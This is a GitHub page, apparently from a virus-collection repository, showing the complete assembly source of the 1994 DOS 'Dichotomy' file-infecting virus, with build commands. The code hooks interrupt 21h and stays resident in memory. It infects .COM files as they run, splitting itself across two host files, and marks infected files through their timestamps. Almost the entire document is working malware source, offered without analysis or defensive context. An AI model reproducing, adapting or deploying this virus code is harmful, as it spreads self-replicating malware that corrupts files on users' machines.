forked from guitmz/virii
-
Notifications
You must be signed in to change notification settings - Fork 0
/
DICHOTOM.ASM
executable file
·347 lines (320 loc) · 13.5 KB
/
DICHOTOM.ASM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
comment #
Source code of Dichotomy
by Evil Avatar
#
;===<DIKOTOMY.ASM>=========================================================
;
; Dichotomy Virus
; (c) 1994 Evil Avatar
;
; TASM /M3 DIKOTOMY
; TLINK /X DIKOTOMY
; EXE2BIN DIKOTOMY DIKOTOMY.COM
.model tiny
.code
org 0
;=====( Entry point for COM files )========================================
Dichotomy:
call delta
delta: mov bx, sp
mov bp, word ptr ds:[bx]
sub bp, offset delta ;get delta offset
inc sp
inc sp
cmp word ptr ds:[bp+virus1], 'D['
mov ah, 1ah
lea dx, [bp+newDTA] ;buffer for new DTA
int 21h ;set new disk transfer address
mov ah, 4eh
mov cx, 7 ;any attribute
lea dx, [bp+FileName] ;host name
int 21h ;find second host file
jc maybe_host ;if carry, then we need a new host
mov ax, 3d00h
int 21h ;open second host
xchg ax, bx ;handle is better in bx
mov ax, 4200h
sub cx, cx
mov dx, word ptr ds:[bp+newDTA+1ah]
sub dx, (offset heap-offset loader2)
int 21h ;move pointer to virus code
mov ah, 3fh
mov cx, (offset heap-offset loader2)
lea dx, [bp+loader2]
int 21h ;read in second part of virus
mov ah, 3eh
int 21h ;close the file
maybe_host:
mov ah, 51h
int 21h ;check if resident
inc bx ;if resident, PSP should be -1
jz resident ;yes? kewl!
cmp word ptr ds:[bp+virus1], 'D[' ;check if we are fully here
je go_res ;yes? we need to go resident
return: mov ah, 1ah
mov dx, 80h
int 21h ;restore DTA
lea si, [bp+comfix] ;offset of first 3 bytes of file
mov di, 100h ;start of .com file
mov ax, di
push ax
movsw
movsb
retn
resident: cmp word ptr ds:[bp+virus1], 'D[' ;is the second host here?
je return ;yes? return to program
mov ah, 62h
int 21h ;request new host
jmp return ;return to host
go_res: jmp loader2 ;go memory resident
;=====( Variables )========================================================
comfix db 0cdh, 20h, 0 ;first 3 bytes of .com file
virus db '[Dichotomy]', 0 ;virus name
author db '(c) 1994 Evil Avatar', 0 ;me
FileName db 'DIKOTOMY.COM', 0, 73h dup (?) ;second host name
loader1_end:
;=====( Go memory resident )===============================================
loader2:
mov byte ptr ds:[bp+count], 0 ;infections = 0
mov ah, 'E'
xor ah, 0fh
mov bx, -1
int 21h ;get available memory
mov ah, 'A'
xor ah, 0bh
sub bx, (virus_end-Dichotomy+15)/16+1
int 21h ;create a hole in memory
mov ax, 3521h
int 21h ;get int 21h handler
mov word ptr [bp+save21], bx
mov word ptr [bp+save21+2], es ;save int 21h vector
mov ah, 'E'
xor ah, 0dh
mov bx, (virus_end-Dichotomy+15)/16
int 21h ;allocate the memory
mov es, ax ;es is high virus segment
mov cx, (virus_end-Dichotomy+1)/2
lea si, [bp+Dichotomy]
sub di, di
rep movsw ;copy ourself up there
push es
pop ds ;save virus seg for int 21h change
dec ax ;MCB segment
mov es, ax
mov word ptr es:[1], 8 ;make DOS the owner of our segment
mov ax, 4541h
sub ax, 2020h
lea dx, [int21]
int 21h ;set new int 21h handler
push cs cs
pop ds es ;restore PSP segments
jmp return ;return to host
;=====( Find a new host )==================================================
request: push ds di si cx cs
pop ds ;save registers
mov di, bp ;set up scan registers
sub si, si
mov cx, 5
repe cmpsw ;scan to see if it is us
jne restore1 ;no? let dos take care of it
mov ax, 4300h
lea dx, [WhatRun]
int 21h ;get attributes of file
push cx ;save them
mov ax, 4301h
sub cx, cx
int 21h ;clear attributes
mov ax, 3d02h
int 21h ;open file read/write
xchg ax, bx
mov ax, 5700h
int 21h ;get file date/time
and cx, 1fh ;get seconds
cmp cx, 1fh ;is it 62?
je cant_fix ;can't fix this file
mov ax, 4202h
sub cx, cx
cwd
int 21h ;go to end of file
mov ah, 40h
mov cx, (heap-loader2)
lea dx, [loader2]
int 21h ;copy to end of file
mov ax, 5700h
int 21h ;get file date/time
or cx, 1fh
mov ax, 5701h
int 21h
cant_fix: mov ax, 4301h
pop cx ;get attributes
int 21h ;restore attributes
mov ah, 3eh
int 21h ;close file
restore1: pop cx si di ds ;restore registers
jmp dos21 ;go to dos
;=====( Interrupt 21h handler )============================================
int21: inc ah
cmp ah, 4ch ;execute file
je infect ;infect it
dec ah
cmp ah, 51h ;install check
je install_check
cmp ah, 62h ;request for new host
je _request
dos21: jmp dword ptr cs:[save21] ;call dos
_request: jmp request
;=====( Installation check )===============================================
install_check:
push di si cx ds cs
pop ds ;save registers
mov di, bp ;set up scan registers
sub si, si
mov cx, 5
repe cmpsw ;scan to see if it is us
jne restore ;no? let dos take care of it
mov bx, -1 ;return code
pop ds ;restore ds
add sp, 6 ;fix stack
iret ;return
restore: pop cx si di ds ;restore registers
jmp dos21 ;go to dos
;=====( Infection routine )================================================
infect: dec ah
call push_all ;save registers
push cs
pop es ;es equals code segment
mov si, dx
lea di, [WhatRun]
mov cx, 40h
rep movsw ;save filename in buffer
mov si, dx ;ds:si equals file name
lea di, [FileName]
mov ax, 4300h
int 21h ;get attributes of file
push cx ;save them
mov ax, 4301h
sub cx, cx
int 21h ;clear attributes
mov ax, 3d02h
int 21h ;open file read/write
xchg ax, bx ;put handle in bx
mov ax, 5700h
int 21h ;get file time/date
and cx, 1fh ;get seconds
cmp cx, 1eh ;is 60 or 62?
jae already_inf ;then already infected
lodsb ;get drive letter
dec si ;point to filename again
and al, 5fh ;make it uppercase
cmp al, 'C' ;is it C or higher?
jb _single ;no? we must fully infect it
cmp byte ptr cs:[count], 1 ;have we already done loader 2?
jne do_loader2 ;yes? start doing loader 1s
do_loader1:
call inf_loader1
jmp done_inf
do_loader2:
call inf_loader2
jmp done_inf
_single: push si di
mov cx, 40h
rep movsw ;save filename in buffer
pop di si
call inf_loader1
call inf_loader2
mov byte ptr cs:[count], 0
done_inf: mov ah, 3eh
int 21h ;close file
already_inf:
mov ax, 4301h
pop cx ;get attributes
int 21h ;restore attributes
call pop_all ;restore registers
jmp dos21 ;call dos
;=====( Infect file with loader 1 )========================================
inf_loader1:
push si di ds dx cs ;save filename and other stuff
pop ds
mov byte ptr ds:[count], 0 ;do loader 2 from now on
mov ah, 3fh
mov cx, 3
lea dx, [comfix]
int 21h ;read in first 3 bytes
mov ax, 4202h
sub cx, cx
cwd
int 21h ;go to end of file
or dx, dx
jnz bad_file
cmp ax, 65024-(virus_end-Dichotomy) ;see if file is too big
jae bad_file
mov cx, word ptr ds:[comfix]
cmp cx, 'M'+'Z'
jz bad_file ;can't infect .exe's
sub ax, 3 ;calculate jump
mov word ptr ds:[buffer], ax ;set up jump
mov ah, 40h
mov cx, (loader1_end-Dichotomy)
cwd
int 21h ;copy virus to end of file
mov ax, 4200h
sub cx, cx
cwd
int 21h ;go to beginning of file
mov ah, 40h
mov cx, 3
lea dx, [buffer-1]
int 21h ;copy jump to beginning
mov ax, 5700h
int 21h ;get file time/date
mov ax, 5701h
or cx, 1eh
and cx, 0fffeh ;set to 60 seconds
int 21h ;set new file time
bad_file: pop dx ds di si
retn
;=====( Infect file with loader 2 )========================================
inf_loader2:
push ds dx ;save file name
mov cx, 40h
rep movsw ;save filename in buffer
push cs
pop ds ;ds needs to be code segment
mov byte ptr ds:[count], 1 ;do loader 1 from now on
mov ax, 4202h
sub cx, cx
cwd
int 21h ;go to end of file
mov ah, 40h
mov cx, (heap-loader2)
lea dx, [loader2]
int 21h ;copy to end of file
mov ax, 5700h
int 21h ;get file date/time
or cx, 1fh ;set to 62 seconds
mov ax, 5701h
int 21h ;set new file time
pop dx ds ;restore file name
retn ;return to caller
;=====( Push all registers )===============================================
push_all: pop word ptr cs:[p_all] ;save return code
push ax bx cx dx bp si di ds es ;save registers
pushf ;save flags
jmp word ptr cs:[p_all] ;return to caller
;=====( Pop all registers )================================================
pop_all: pop word ptr cs:[p_all] ;save return code
popf ;restore flags
pop es ds di si bp dx cx bx ax ;restore registers
jmp word ptr cs:[p_all] ;return to caller
;=====( More variables )===================================================
virus1 db '[Dichotomy]', 0 ;virus signature
db 0e9h ;jump cs:xxxx
heap:
buffer dw ? ;jump buffer
newDTA db 2bh dup (?) ;replacement disk transfer address
save21 dd ? ;interrupt 21h vector
p_all dw ? ;push/pop return value
count db ? ;infection count
WhatRun db 80h dup (?)
virus_end:
end Dichotomy